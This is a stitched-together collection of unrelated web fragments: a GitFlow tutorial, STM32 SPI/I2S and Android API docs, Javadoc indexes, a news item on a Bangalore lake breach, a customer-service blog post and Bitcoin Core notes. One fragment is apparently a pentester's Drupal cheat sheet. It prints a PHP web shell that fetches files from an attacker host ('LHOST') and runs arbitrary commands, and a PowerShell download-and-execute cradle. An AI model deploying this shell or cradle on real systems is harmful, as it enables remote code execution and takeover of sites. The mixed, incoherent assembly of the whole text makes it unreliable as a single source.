git checkout -b TOMEE-007 develop Switched to a new branch 'TOMEE-007'
GIT for TomEE Developers
The GitFlow Workflow
Notes before you begin (mostly for SVN users):
-
The 'develop' repository is the equivalent of the SVN trunk directory.
-
The 'master' repository is the equivalent of the SVN tags directory.
-
The 'origin' is the actual GIT repository that contains the projects master, develop and other branches (Like trunk, branches and tags).
-
Unlike SVN a 'commit' is only a local action. The local commits are only published to the remote repository using 'push'.
-
Commit and push code to your own feature branch as often as you like, but only merge stable branches back into to the develop branch.
-
Only the release manager should manage the master repository
-
Read the official Apache Committer documentation here
Run commands in the directory of the project you are working on, for example 'tomee':
Always create a feature branch from develop using an 'extremely' descriptive name, this should usually be the JIRA id or task name you want to work on:
git status nothing to commit, working directory clean
Immediately push the new branch to the repository so everyone can see it remotely (and possibly collaborate):
git push -u origin TOMEE-007 Branch TOMEE-007 set up to track remote branch TOMEE-007 from origin.
Once that is done then you just need the simple push for subsequent calls on this branch:
git push
Work like mad on the JIRA issue calling commit and add as often as you like…
If others are working on your branch also remember to pull their changes (Or just as good practice):
git pull git commit git push
Finally, to push the completed (or significant non-breaking progress on the) feature to develop at any time (ensuring develop is up to date first):
git pull origin develop
git checkout develop
git merge --no-ff TOMEE-007
Once the completed feature is merged and the JIRA resolved then the branch can and 'should' be deleted before pushing:
git branch -d TOMEE-007
git push origin develop
The GUI Way
Now we have learned to do it the hard way, time to look at the simplified version. The GitHub native tools!
For the latest mac version go here: Mac Latest,
And windows here: Win Latest
These tools will probably not save you much time over the command line, but provide a much better visualization of ongoing processes.
The steps are and remain as described above:
-
From develop create a new branch called, for example TOMEE-007
-
'Publish' (push -u) the new branch
-
Work on the branch and commit regularly
-
Synchronize (pull and push) changes in the the branch when stable
-
Switch to develop and synchronize (pull)
-
Merge the branch into develop, i.e. 'TOMEE-007' + 'develop' = 'develop' *See note below
-
Commit develop
-
Synchronize develop (pull and push)
-
Delete the branch TOMEE-007
| You can actually merge the current *develop_ (or any other 'synchronized' branch) into your branch first to make sure it is stable,i.e. 'develop' + 'TOMEE-007' = 'TOMEE-007' - This is really cool! |


Countdown to year 3000:
It is
979
years to year 3000!
It is
11740
months to year 3000!
It is
51045
weeks to year 3000!
It is
357312
days to year 3000!
It is
8575475
hours to year 3000!
It is
514528497
minutes to year 3000!
It is
30871709800
seconds to year 3000!


World JS: History Simulation
Home
Github
x
Statistic
Basic
More
•
Men:
0
•
Women:
0
•
Boys:
0
•
Girls:
0
•
Families:
0
• Food resource:
0
!
• Food resource recovery:
100
% per 10 years
•
/
Adult:
0
food per year
•
/
Child:
0
food per year
• Death rate:
0
%
• Average children
per family:
0
• Average age:
0
• Max age:
0
(died in
0
)
• Average IQ:
0
• Max IQ:
0
(born in
0
)
• Food spoilage:
-
0
% food per year
Year
0
Start
Display: Full
Dot
None
Speed: ×1
×2
×5
0
0
0
0
0
...
What is History?
← Back
Continue reading →
Start Now
Population
Limit
0
Food
Famine
0
Total IQ
0
Knowledge
Trending
History


There are currently no active committees.
| Name | Type | Created | Privacy | |
|---|---|---|---|---|
| {{ c.name }} | {{ c.committeeType }} | {{ c.creationDateUtc | date:'shortDate' }} | {{ c.isPrivate ? "Private" : "Open" }} | Edit - {{ c.deactivationDateUtc ? 'Reactivate' : 'Deactivate' }} |
There are currently no inactive committees.
| Name | Type | Created | Privacy | |
|---|---|---|---|---|
| {{ c.name }} | {{ c.committeeType }} | {{ c.creationDateUtc | date:'shortDate' }} | {{ c.isPrivate ? "Private" : "Open" }} | {{ c.deactivationDateUtc ? 'Reactivate' : 'Deactivate' }} |
| Name: |
It's a good idea to add the word "Committee" to the end of the name so it's clear when it shows up on various pages |
| Type: |
E.g. neighbor engagement, purchasing, maintenance E.g. gardening, snow removal, winterization E.g. fix roof, plan parking, change trash collection |
| Privacy: |
Any user can view the contents of the committee, but only members can modify and get notifications. Only members can view the committee's information |


Coordel allows you to raise an issue with a task that was assigned to you. Ownership transfers immediately back to the delegator to clear the issue. No miscommunication - no confusion.
Coordel ensures that only one person owns a task at any time. When you discover a problem with one of your tasks, you can raise the issue. You must provide a proposed solution before you can submit your proposal.
The delegator now owns the task you have flagged. When the issue has been resolved, the delegator can return the task back to you, after explicitly explaining how and why the issue has been cleared.
You can always check what is happening with a task by checking its Stream.


You need to enable JavaScript to run this app.
Time to take a break!
Try to look outside for 20 seconds.
Time left?
Not Right Now!


Lake bund breached, several houses flooded in B'luru
A large number of houses were inundated in Hulimavu here as water from a lake flooded the area on Sunday after its bund was damaged, officials said
A large number of houses were inundated in Hulimavu here as water from a lake flooded the area on Sunday after its bund was damaged, officials said.
Efforts were on to shift around 250 families badly affected by the sudden flood which also swept away several cars and two-wheelers, they said.
City Mayor M Gautham Kumar said the incident occurred when some people allegedly tried to lay a pipe with the help of an earthmover and the civic body BBMP would investigate about it.
About 250 families had been affected and efforts were on to shift them to safety and provide food, he told PTI.
The Bruhat Bengaluru Mahanagara Palike (BBPM) officials the fire and emergency services personnel were carrying out the relief work.
Pumps were deployed to flush the water out of basements of residential complexes, while efforts were on by engineers in the civic body to plug the breach, officials said.


Initialization and Configuration functions.
More...
|
| void | SPI_I2S_DeInit (SPI_TypeDef *SPIx) |
| | De-initialize the SPIx peripheral registers to their default reset values. More...
|
| |
| void | SPI_Init (SPI_TypeDef *SPIx, SPI_InitTypeDef *SPI_InitStruct) |
| | Initializes the SPIx peripheral according to the specified parameters in the SPI_InitStruct. More...
|
| |
| void | I2S_Init (SPI_TypeDef *SPIx, I2S_InitTypeDef *I2S_InitStruct) |
| | Initializes the SPIx peripheral according to the specified parameters in the I2S_InitStruct. More...
|
| |
| void | SPI_StructInit (SPI_InitTypeDef *SPI_InitStruct) |
| | Fills each SPI_InitStruct member with its default value. More...
|
| |
| void | I2S_StructInit (I2S_InitTypeDef *I2S_InitStruct) |
| | Fills each I2S_InitStruct member with its default value. More...
|
| |
| void | SPI_Cmd (SPI_TypeDef *SPIx, FunctionalState NewState) |
| | Enables or disables the specified SPI peripheral. More...
|
| |
| void | I2S_Cmd (SPI_TypeDef *SPIx, FunctionalState NewState) |
| | Enables or disables the specified SPI peripheral (in I2S mode). More...
|
| |
| void | SPI_DataSizeConfig (SPI_TypeDef *SPIx, uint16_t SPI_DataSize) |
| | Configures the data size for the selected SPI. More...
|
| |
| void | SPI_BiDirectionalLineConfig (SPI_TypeDef *SPIx, uint16_t SPI_Direction) |
| | Selects the data transfer direction in bidirectional mode for the specified SPI. More...
|
| |
| void | SPI_NSSInternalSoftwareConfig (SPI_TypeDef *SPIx, uint16_t SPI_NSSInternalSoft) |
| | Configures internally by software the NSS pin for the selected SPI. More...
|
| |
| void | SPI_SSOutputCmd (SPI_TypeDef *SPIx, FunctionalState NewState) |
| | Enables or disables the SS output for the selected SPI. More...
|
| |
| void | SPI_TIModeCmd (SPI_TypeDef *SPIx, FunctionalState NewState) |
| | Enables or disables the SPIx/I2Sx DMA interface. More...
|
| |
| void | I2S_FullDuplexConfig (SPI_TypeDef *I2Sxext, I2S_InitTypeDef *I2S_InitStruct) |
| | Configures the full duplex mode for the I2Sx peripheral using its extension I2Sxext according to the specified parameters in the I2S_InitStruct. More...
|
| |
Initialization and Configuration functions.
===============================================================================
##### Initialization and Configuration functions #####
===============================================================================
[..] This section provides a set of functions allowing to initialize the SPI
Direction, SPI Mode, SPI Data Size, SPI Polarity, SPI Phase, SPI NSS
Management, SPI Baud Rate Prescaler, SPI First Bit and SPI CRC Polynomial.
[..] The SPI_Init() function follows the SPI configuration procedures for Master
mode and Slave mode (details for these procedures are available in reference
manual (RM0090)).
◆ I2S_Cmd()
| void I2S_Cmd |
( |
SPI_TypeDef * |
SPIx, |
|
|
FunctionalState |
NewState |
|
) |
| |
Enables or disables the specified SPI peripheral (in I2S mode).
- Parameters
-
| SPIx | where x can be 2 or 3 to select the SPI peripheral (or I2Sxext for full duplex mode). |
| NewState | new state of the SPIx peripheral. This parameter can be: ENABLE or DISABLE. |
- Return values
-
◆ I2S_FullDuplexConfig()
| void I2S_FullDuplexConfig |
( |
SPI_TypeDef * |
I2Sxext, |
|
|
I2S_InitTypeDef * |
I2S_InitStruct |
|
) |
| |
Configures the full duplex mode for the I2Sx peripheral using its extension I2Sxext according to the specified parameters in the I2S_InitStruct.
- Parameters
-
| I2Sxext | where x can be 2 or 3 to select the I2S peripheral extension block. |
| I2S_InitStruct | pointer to an I2S_InitTypeDef structure that contains the configuration information for the specified I2S peripheral extension. |
- Note
- The structure pointed by I2S_InitStruct parameter should be the same used for the master I2S peripheral. In this case, if the master is configured as transmitter, the slave will be receiver and vice versa. Or you can force a different mode by modifying the field I2S_Mode to the value I2S_SlaveRx or I2S_SlaveTx independently of the master configuration.
-
The I2S full duplex extension can be configured in slave mode only.
- Return values
-
◆ I2S_Init()
Initializes the SPIx peripheral according to the specified parameters in the I2S_InitStruct.
- Parameters
-
| SPIx | where x can be 2 or 3 to select the SPI peripheral (configured in I2S mode). |
| I2S_InitStruct | pointer to an I2S_InitTypeDef structure that contains the configuration information for the specified SPI peripheral configured in I2S mode. |
- Note
- The function calculates the optimal prescaler needed to obtain the most accurate audio frequency (depending on the I2S clock source, the PLL values and the product configuration). But in case the prescaler value is greater than 511, the default value (0x02) will be configured instead.
-
if an external clock is used as source clock for the I2S, then the define I2S_EXTERNAL_CLOCK_VAL in file stm32f4xx_conf.h should be enabled and set to the value of the source clock frequency (in Hz).
- Return values
-
◆ I2S_StructInit()
Fills each I2S_InitStruct member with its default value.
- Parameters
-
| I2S_InitStruct | pointer to a I2S_InitTypeDef structure which will be initialized. |
- Return values
-
◆ SPI_BiDirectionalLineConfig()
| void SPI_BiDirectionalLineConfig |
( |
SPI_TypeDef * |
SPIx, |
|
|
uint16_t |
SPI_Direction |
|
) |
| |
Selects the data transfer direction in bidirectional mode for the specified SPI.
- Parameters
-
| SPIx | where x can be 1, 2, 3, 4, 5 or 6 to select the SPI peripheral. |
| SPI_Direction | specifies the data transfer direction in bidirectional mode. This parameter can be one of the following values:
- SPI_Direction_Tx: Selects Tx transmission direction
- SPI_Direction_Rx: Selects Rx receive direction
|
- Return values
-
◆ SPI_Cmd()
| void SPI_Cmd |
( |
SPI_TypeDef * |
SPIx, |
|
|
FunctionalState |
NewState |
|
) |
| |
Enables or disables the specified SPI peripheral.
- Parameters
-
| SPIx | where x can be 1, 2, 3, 4, 5 or 6 to select the SPI peripheral. |
| NewState | new state of the SPIx peripheral. This parameter can be: ENABLE or DISABLE. |
- Return values
-
◆ SPI_DataSizeConfig()
| void SPI_DataSizeConfig |
( |
SPI_TypeDef * |
SPIx, |
|
|
uint16_t |
SPI_DataSize |
|
) |
| |
Configures the data size for the selected SPI.
- Parameters
-
| SPIx | where x can be 1, 2, 3, 4, 5 or 6 to select the SPI peripheral. |
| SPI_DataSize | specifies the SPI data size. This parameter can be one of the following values:
- SPI_DataSize_16b: Set data frame format to 16bit
- SPI_DataSize_8b: Set data frame format to 8bit
|
- Return values
-
◆ SPI_I2S_DeInit()
| void SPI_I2S_DeInit |
( |
SPI_TypeDef * |
SPIx | ) |
|
De-initialize the SPIx peripheral registers to their default reset values.
- Parameters
-
| SPIx | To select the SPIx/I2Sx peripheral, where x can be: 1, 2, 3, 4, 5 or 6 in SPI mode or 2 or 3 in I2S mode.
|
- Note
- The extended I2S blocks (ie. I2S2ext and I2S3ext blocks) are de-initialized when the relative I2S peripheral is de-initialized (the extended block's clock is managed by the I2S peripheral clock).
- Return values
-
◆ SPI_Init()
Initializes the SPIx peripheral according to the specified parameters in the SPI_InitStruct.
- Parameters
-
| SPIx | where x can be 1, 2, 3, 4, 5 or 6 to select the SPI peripheral. |
| SPI_InitStruct | pointer to a SPI_InitTypeDef structure that contains the configuration information for the specified SPI peripheral. |
- Return values
-
◆ SPI_NSSInternalSoftwareConfig()
| void SPI_NSSInternalSoftwareConfig |
( |
SPI_TypeDef * |
SPIx, |
|
|
uint16_t |
SPI_NSSInternalSoft |
|
) |
| |
Configures internally by software the NSS pin for the selected SPI.
- Parameters
-
| SPIx | where x can be 1, 2, 3, 4, 5 or 6 to select the SPI peripheral. |
| SPI_NSSInternalSoft | specifies the SPI NSS internal state. This parameter can be one of the following values:
- SPI_NSSInternalSoft_Set: Set NSS pin internally
- SPI_NSSInternalSoft_Reset: Reset NSS pin internally
|
- Return values
-
◆ SPI_SSOutputCmd()
| void SPI_SSOutputCmd |
( |
SPI_TypeDef * |
SPIx, |
|
|
FunctionalState |
NewState |
|
) |
| |
Enables or disables the SS output for the selected SPI.
- Parameters
-
| SPIx | where x can be 1, 2, 3, 4, 5 or 6 to select the SPI peripheral. |
| NewState | new state of the SPIx SS output. This parameter can be: ENABLE or DISABLE. |
- Return values
-
◆ SPI_StructInit()
Fills each SPI_InitStruct member with its default value.
- Parameters
-
| SPI_InitStruct | pointer to a SPI_InitTypeDef structure which will be initialized. |
- Return values
-
◆ SPI_TIModeCmd()
| void SPI_TIModeCmd |
( |
SPI_TypeDef * |
SPIx, |
|
|
FunctionalState |
NewState |
|
) |
| |
Enables or disables the SPIx/I2Sx DMA interface.
- Note
- This function can be called only after the SPI_Init() function has been called.
-
When TI mode is selected, the control bits SSM, SSI, CPOL and CPHA are not taken into consideration and are configured by hardware respectively to the TI mode requirements.
- Parameters
-
| SPIx | where x can be 1, 2, 3, 4, 5 or 6 |
| NewState | new state of the selected SPI TI communication mode. This parameter can be: ENABLE or DISABLE. |
- Return values
-


JavaScript is disabled on your browser.
Skip navigation links
Overview
Package
Class
Use
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes
A
B
C
D
F
G
H
I
K
L
M
P
Q
R
S
T
U
V
W
T
tearDown()
- Method in class chat.tests.
ChatbotTest
tearDown()
- Method in class chat.tests.
ControllerTest
tearDown()
- Method in class chat.tests.
FrameTest
tearDown()
- Method in class chat.tests.
MovieTest
tearDown()
- Method in class chat.tests.
PanelTest
testBuildListsAndArray()
- Method in class chat.tests.
ChatbotTest
testChatbot()
- Method in class chat.tests.
ChatbotTest
testChatbotController()
- Method in class chat.tests.
ControllerTest
testChatFrame()
- Method in class chat.tests.
FrameTest
testContentChecker()
- Method in class chat.tests.
ChatbotTest
testCuteAnimalMemeChecker()
- Method in class chat.tests.
ChatbotTest
testedChatbot
- Variable in class chat.tests.
ChatbotTest
testedController
- Variable in class chat.tests.
ControllerTest
testedFrame
- Variable in class chat.tests.
FrameTest
testedMovie
- Variable in class chat.tests.
MovieTest
testedPanel
- Variable in class chat.tests.
PanelTest
testGetChatbot()
- Method in class chat.tests.
ControllerTest
testGetChatFrame()
- Method in class chat.tests.
ControllerTest
testGetContent()
- Method in class chat.tests.
ChatbotTest
testGetCurrentTime()
- Method in class chat.tests.
ChatbotTest
testGetCuteAnimalMemes()
- Method in class chat.tests.
ChatbotTest
testGetDisplay()
- Method in class chat.tests.
ControllerTest
testGetGenre()
- Method in class chat.tests.
MovieTest
testGetLength()
- Method in class chat.tests.
MovieTest
testGetMovieList()
- Method in class chat.tests.
ChatbotTest
testGetQuestions()
- Method in class chat.tests.
ChatbotTest
testGetRatingMPAA()
- Method in class chat.tests.
MovieTest
testGetReleaseDate()
- Method in class chat.tests.
MovieTest
testGetReview()
- Method in class chat.tests.
MovieTest
testGetShoppingList()
- Method in class chat.tests.
ChatbotTest
testGetStarScore()
- Method in class chat.tests.
MovieTest
testGetTitle()
- Method in class chat.tests.
MovieTest
testGetUsername()
- Method in class chat.tests.
ChatbotTest
testHtmlTagChecker()
- Method in class chat.tests.
ChatbotTest
testInteractWithChatbot()
- Method in class chat.tests.
ControllerTest
testKeyboardMashChecker()
- Method in class chat.tests.
ChatbotTest
testLengthChecker()
- Method in class chat.tests.
ChatbotTest
testMovie()
- Method in class chat.tests.
MovieTest
testMovieGenreChecker()
- Method in class chat.tests.
ChatbotTest
testMovieTitleChecker()
- Method in class chat.tests.
ChatbotTest
testProcessConversation()
- Method in class chat.tests.
ChatbotTest
testQuitChecker()
- Method in class chat.tests.
ChatbotTest
testSetContent()
- Method in class chat.tests.
ChatbotTest
testSetGenre()
- Method in class chat.tests.
MovieTest
testSetLength()
- Method in class chat.tests.
MovieTest
testSetRatingMPAA()
- Method in class chat.tests.
MovieTest
testSetReleaseDate()
- Method in class chat.tests.
MovieTest
testSetReview()
- Method in class chat.tests.
MovieTest
testSetStarScore()
- Method in class chat.tests.
MovieTest
testSetTitle()
- Method in class chat.tests.
MovieTest
testSetupFrame()
- Method in class chat.tests.
FrameTest
testSetupListeners()
- Method in class chat.tests.
PanelTest
testSetupPanel()
- Method in class chat.tests.
PanelTest
testSetUsername()
- Method in class chat.tests.
ChatbotTest
testShoppingListChecker()
- Method in class chat.tests.
ChatbotTest
testStart()
- Method in class chat.tests.
ControllerTest
testToString()
- Method in class chat.tests.
ChatbotTest
testToString()
- Method in class chat.tests.
MovieTest
testUserNameChecker()
- Method in class chat.tests.
ChatbotTest
title
- Variable in class chat.model.
Movie
topics
- Variable in class chat.model.
Chatbot
toString()
- Method in class chat.model.
Movie
A
B
C
D
F
G
H
I
K
L
M
P
Q
R
S
T
U
V
W
Skip navigation links
Overview
Package
Class
Use
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes


public static class RecyclerViewSwipeDecorator.Builder
extends java.lang.Object
| Constructor and Description |
|---|
Builder(android.content.Context context,
android.graphics.Canvas canvas,
RecyclerView recyclerView,
RecyclerView.ViewHolder viewHolder,
float dX,
float dY,
int actionState,
boolean isCurrentlyActive)
Create a builder for a RecyclerViewsSwipeDecorator
|
| Modifier and Type | Method and Description |
|---|---|
RecyclerViewSwipeDecorator.Builder |
addActionIcon(int drawableId)
Add an action icon to both swiping directions
|
RecyclerViewSwipeDecorator.Builder |
addBackgroundColor(int color)
Add a background color to both swiping directions
|
RecyclerViewSwipeDecorator.Builder |
addSwipeLeftActionIcon(int drawableId)
Add an action icon while swiping left
|
RecyclerViewSwipeDecorator.Builder |
addSwipeLeftBackgroundColor(int color)
Adds a background color while swiping left
|
RecyclerViewSwipeDecorator.Builder |
addSwipeLeftLabel(java.lang.String label)
Add a label to be shown while swiping left
|
RecyclerViewSwipeDecorator.Builder |
addSwipeRightActionIcon(int drawableId)
Add an action icon while swiping right
|
RecyclerViewSwipeDecorator.Builder |
addSwipeRightBackgroundColor(int color)
Add a background color while swiping right
|
RecyclerViewSwipeDecorator.Builder |
addSwipeRightLabel(java.lang.String label)
Add a label to be shown while swiping right
|
RecyclerViewSwipeDecorator |
create()
Create a RecyclerViewSwipeDecorator
|
RecyclerViewSwipeDecorator.Builder |
setActionIconTint(int color)
Set the tint color for either (left/right) action icons
|
RecyclerViewSwipeDecorator.Builder |
setIconHorizontalMargin(int pixels)
Deprecated.
in RecyclerViewSwipeDecorator 1.2, use
setIconHorizontalMargin(int, int) instead. |
RecyclerViewSwipeDecorator.Builder |
setIconHorizontalMargin(int unit,
int iconHorizontalMargin)
Set the horizontal margin of the icon in the given unit (default is 16dp)
|
RecyclerViewSwipeDecorator.Builder |
setSwipeLeftActionIconTint(int color)
Set the tint color for action icon shown while swiping left
|
RecyclerViewSwipeDecorator.Builder |
setSwipeLeftLabelColor(int color)
Set the color of the label to be shown while swiping left
|
RecyclerViewSwipeDecorator.Builder |
setSwipeLeftLabelTextSize(int unit,
float size)
Set the size of the label to be shown while swiping left
|
RecyclerViewSwipeDecorator.Builder |
setSwipeLeftLabelTypeface(android.graphics.Typeface typeface)
Set the Typeface of the label to be shown while swiping left
|
RecyclerViewSwipeDecorator.Builder |
setSwipeRightActionIconTint(int color)
Set the tint color for action icon shown while swiping right
|
RecyclerViewSwipeDecorator.Builder |
setSwipeRightLabelColor(int color)
Set the color of the label to be shown while swiping right
|
RecyclerViewSwipeDecorator.Builder |
setSwipeRightLabelTextSize(int unit,
float size)
Set the size of the label to be shown while swiping right
|
RecyclerViewSwipeDecorator.Builder |
setSwipeRightLabelTypeface(android.graphics.Typeface typeface)
Set the Typeface of the label to be shown while swiping right
|
public Builder(android.content.Context context, android.graphics.Canvas canvas, RecyclerView recyclerView, RecyclerView.ViewHolder viewHolder, float dX, float dY, int actionState, boolean isCurrentlyActive)
context
- A valid Context object for the RecyclerViewcanvas
- The canvas which RecyclerView is drawing its childrenrecyclerView
- The RecyclerView to which ItemTouchHelper is attached toviewHolder
- The ViewHolder which is being interacted by the User or it was interacted and simply animating to its original positiondX
- The amount of horizontal displacement caused by user's actiondY
- The amount of vertical displacement caused by user's actionactionState
- The type of interaction on the View. Is either ACTION_STATE_DRAG or ACTION_STATE_SWIPE.isCurrentlyActive
- True if this view is currently being controlled by the user or false it is simply animating back to its original statepublic RecyclerViewSwipeDecorator.Builder addBackgroundColor(int color)
color
- A single color value in the form 0xAARRGGBBpublic RecyclerViewSwipeDecorator.Builder addActionIcon(int drawableId)
drawableId
- The resource id of the icon to be setpublic RecyclerViewSwipeDecorator.Builder setActionIconTint(int color)
color
- a color in ARGB format (e.g. 0xFF0000FF for blue)public RecyclerViewSwipeDecorator.Builder addSwipeRightBackgroundColor(int color)
color
- A single color value in the form 0xAARRGGBBpublic RecyclerViewSwipeDecorator.Builder addSwipeRightActionIcon(int drawableId)
drawableId
- The resource id of the icon to be setpublic RecyclerViewSwipeDecorator.Builder setSwipeRightActionIconTint(int color)
color
- a color in ARGB format (e.g. 0xFF0000FF for blue)public RecyclerViewSwipeDecorator.Builder addSwipeRightLabel(java.lang.String label)
label
- The string to be shown as labelpublic RecyclerViewSwipeDecorator.Builder setSwipeRightLabelColor(int color)
color
- the color to be setpublic RecyclerViewSwipeDecorator.Builder setSwipeRightLabelTextSize(int unit, float size)
unit
- the unit to convert fromsize
- the size to be setpublic RecyclerViewSwipeDecorator.Builder setSwipeRightLabelTypeface(android.graphics.Typeface typeface)
typeface
- the Typeface to be setpublic RecyclerViewSwipeDecorator.Builder addSwipeLeftBackgroundColor(int color)
color
- A single color value in the form 0xAARRGGBBpublic RecyclerViewSwipeDecorator.Builder addSwipeLeftActionIcon(int drawableId)
drawableId
- The resource id of the icon to be setpublic RecyclerViewSwipeDecorator.Builder setSwipeLeftActionIconTint(int color)
color
- a color in ARGB format (e.g. 0xFF0000FF for blue)public RecyclerViewSwipeDecorator.Builder addSwipeLeftLabel(java.lang.String label)
label
- The string to be shown as labelpublic RecyclerViewSwipeDecorator.Builder setSwipeLeftLabelColor(int color)
color
- the color to be setpublic RecyclerViewSwipeDecorator.Builder setSwipeLeftLabelTextSize(int unit, float size)
unit
- the unit to convert fromsize
- the size to be setpublic RecyclerViewSwipeDecorator.Builder setSwipeLeftLabelTypeface(android.graphics.Typeface typeface)
typeface
- the Typeface to be set@Deprecated public RecyclerViewSwipeDecorator.Builder setIconHorizontalMargin(int pixels)
setIconHorizontalMargin(int, int)
instead.pixels
- margin in pixelspublic RecyclerViewSwipeDecorator.Builder setIconHorizontalMargin(int unit, int iconHorizontalMargin)
unit
- TypedValueiconHorizontalMargin
- the margin in the given unitpublic RecyclerViewSwipeDecorator create()


Home
Blog
Events
Event Request
Top Sites
About Top Sites feature in Activity Stream
MozillaTN Twitter access to Amazing Contributors
Introducing MozillaTN Open Twitter access to Amazing Contributors
Highlights
About highlight feature in Activity Stream
Timeline of Bookmarks
Features of bookmark page in activity stream
Enable Firefox TestPilot Activity Stream & Contribute
Steps for Enabeling Activity Stream experiment and paths to contribute
Firefox Test Pilot
Introduction to Firefox test pilot addon
A New Promising Power On Track
Mozilla Tamilnadu Community WoMoz participation in localisation
Result - Firefox 49.0b3 Beta Test day
Mozilla India Community Testing day result
Firefox 49.0b3 Beta Test day invitation
Mozilla Tamilnadu Community Testing day invitation
Weeks of Contribution 2016 - Localization Update
Mozilla Tamilnadu Community Localization Event Report


Are you sure you want to go through with this delete action?
All information associated to this user profile will be permanently deleted. This operation can not be undone.


--- layout: post esbma_id: 1717 title: Absurd Customer Service date: 2007-08-16 18:50:48 ---
I want to share two stories of customer service I have received in the past week.
OK, fine. You already know how this is going to turn out. The huge company was awful and the tiny company was extraordinary. Feel free to skip the rest of this article if you like, but before you go, I want to leave you with one thought:
We are all conditioned to expect terrible customer service from large companies and great customer service from little companies. Yet, those little companies are the dying breed in the world today.
Isn't that kind of sad?
Right. Off you go.
So I sat down at my home computer to pay my credit card.
The story goes downhill fast, but I'll admit that it all started out as my fault. You see, I was late paying this bill.
Sometime recently Citibank changed the way late payments are made on their website. If you're paying on time, you go through the normal forms. But if you're paying late, you get sent over to a completely different section of the website. There, they ask you questions.
Lots of questions.
The first one was "Why are you paying late?" Unfortunately, the only way to respond to this question is a drop-down list with around a dozen predefined answers. Fine. I scanned the list for one that said "I just forgot". Nope. Not there.
So I looked at every item on the list to see if any of them applied to my situation. Nope.
It's a mandatory field. I have to give them an answer. More to the point, I have to give them an answer which is incorrect.
I chose "Natural Disaster".
The rest of the questions were similar:
My annoyance grew steadily. I'm pretty sure that my answer to every question was just as honest and helpful as my answer to that first one.
Finally, the Citibank website allowed me to pay my bill. The whole process was simply absurd.
After the payment succeeded, I immediately called their 800 number and canceled the card. That didn't go very well either.
So we got a new dog.
(BTW, thanks to the many folks who sent kind notes back in March when Sadie was killed. I did not respond to any of them, but the sentiments were much appreciated.)
Our new family pet is a white German Shepherd. After some advice from the rescue and a bit of research, we decided to feed Sophie a specialty food called Evo. The only store in our area which sells Evo is a very small place called Animal Outfitters. The owner's name is Mark Fisher.
German Shepherds eat a remarkable amount of food. Monday I went in to Mark's store for another bag of Evo, but he was sold out. There had been some sort of delivery problem with his supplier.
As I said, this is a really small store. Usually when I go in there, the person working is Mark himself. In this case, he went way above and beyond the call of duty. The next day, he brought in a bag of Evo from home, the one he had for his own dog. He measured out enough Evo to feed Sophie until next week when his delivery is supposed to arrive.
And despite my attempts to pay him, he didn't charge me a dime.
For Mark to give me this dog food was simply absurd. Fair price for that quantity was perhaps 10 or 15 bucks. I expected to pay. Heck, I would have paid twice the fair price just out of respect for the law of supply and demand.
I walked out of the store stunned.
In the last week, two companies made an impression on me with customer service incidents that I will probably remember for years:
Both businesses were simply absurd. One in a bad way, and one in a good way.
The Animal Outfitters store is around 10 years old. When I first walked in there, I wondered how this guy could possibly stay in business for so long. Now I know.
And as a fellow entrepreneur, I understand what he did. I love it when I get a chance to help a customer in a way that makes a big impression.
But opportunities to be absurd don't come along every day. Whether it's dog food or software, we need to keep our eyes open and be willing to grab these situations when they become available.
If we encounter a guy with a problem at just the right moment and solve it in a highly memorable way, we can sell him high-priced dog food for decades.


My first blog
24 Jan 2017Welcome to my first blog, Thank you for taking time to read this. At first, I was reluctant to do blogging then I thought writting makes me feel relaxed so here it is.
I started to write this blog but kept starting at my screen for 30 mins and over. with all the thoughts which are rushing in my brain I am trying to give a go to what comes to my mind and started to type this.
I am software developer by profession, It's been 4 or more years in this industry but I am rocking it, I work for Sanisoft Technologies. I love my job.
So guys this is my first post. more and more to come.
Thank you


If you wish to contact support
by e-mail
about this error, please include the following information:
request-id: ${request_id}
$def with (error, links, request_id) $:{RENDER("common/stage_title.html", ["System Message"])}
If you wish to contact support
by e-mail
about this error, please include the following information:
request-id: ${request_id}


11. Signature Commands
Signature Commands
In this section we'll explore information about signatures using the debug console.
Signature Commands
INSTRUCTOR NOTE:
Note: The current version for Bitcoin Core is <IP_ADDRESS>, some functions and commands has been changed since the video was recorded, we are adding text notes if changes has been made.
Changes in Bitcoin Core version v<IP_ADDRESS>
signrawtransaction
is deprecated and will be fully removed in v0.18. To use signrawtransaction
in v0.17, restart bitcoind with -deprecatedrpc=signrawtransaction
.
Projects should transition to using signrawtransactionwithkey
and signrawtransactionwithwallet
before upgrading to v0.18.
Try those commands using the help command:
help signrawtransactionwithkey
Sign inputs for raw transaction (serialized, hex-encoded). The second argument is an array of base58-encoded private keys that will be the only keys used to sign the transaction. The third optional argument (may be null) is an array of previous transaction outputs that this transaction depends on but may not yet be in the block chain.
help signrawtransactionwithwallet
Sign inputs for raw transaction (serialized, hex-encoded). The second optional argument (may be null) is an array of previous transaction outputs that this transaction depends on but may not yet be in the block chain
Commands
signrawtransaction: Sign inputs for a raw transaction.
signmessage: Sign message with the private key of an address
Resources
Learn more about the Raw transaction format
Key Terms
Signature: Establishes proof of ownership for each transaction on the blockchain.
Problem: Signatures Debug Console
SOLUTION:
- txid
- vout
- scriptPubKey
- hex
SOLUTION:
- hexstring
- [{"txid":"id","vout":n,"scriptPubKey":"hex","redeemScript":"hex"},...]


Matha capital is a panafrican financial advisory firm providing leading market advice and
financing solutions to Corporates and Institutional names across Africa.
We arrange and structure financing for a variety of strategic
transactions for clients operating in diversified sectors of the economy.
Matha Capital's vision is to be the best financial solutions firm managed by
seasoned African financiers bringing their wealth of experience to African businesses and public sector entities.


Dupal
Make sure you use droopescan instead of drup/drop scan. Up-to-date version
CHANGELOG.txt in root dir if you can view it
php multi line variable This is a custom shell (better for windows) that allows uploads and RCE
$phpCode = <<<'EOD'
<?php
if (isset($_REQUEST['fupload'])) {
file_put_contents($_REQUEST['fupload'], file_get_contents("http://LHOST" . $_REQUEST['fupload']));
};
if (isset($_REQUEST['fexec'])) {
echo "<pre>" . shell_exec($_REQUEST['fexec']) . "</pre>";
}'
?>
EOD;
Drupal > Login (admin) > Modules > enable php filter
Will allow PHP to be executed in articles, weeeeeeeee
powershell script exec bypass by piping:
IEX(WebClient).downloadString yada yada | powershell -noprofile -
WindowsPrivEsc:
Sherlock.ps1
Last time updates were at least downloaded:
Windows\SoftwareDistribution\Download
Get a sense of patch level


Tech Help Desk
"Is there maybe something else I can help you with?"
Asks the librarian.
"I saw something about Career Help, whats up with that?"  You say
"Yall do a lot of stuff here huh?"


- calculateRating(String) - Method in class com.fmway.operations.commonActivities.Profile
-
find and calculate all the rating
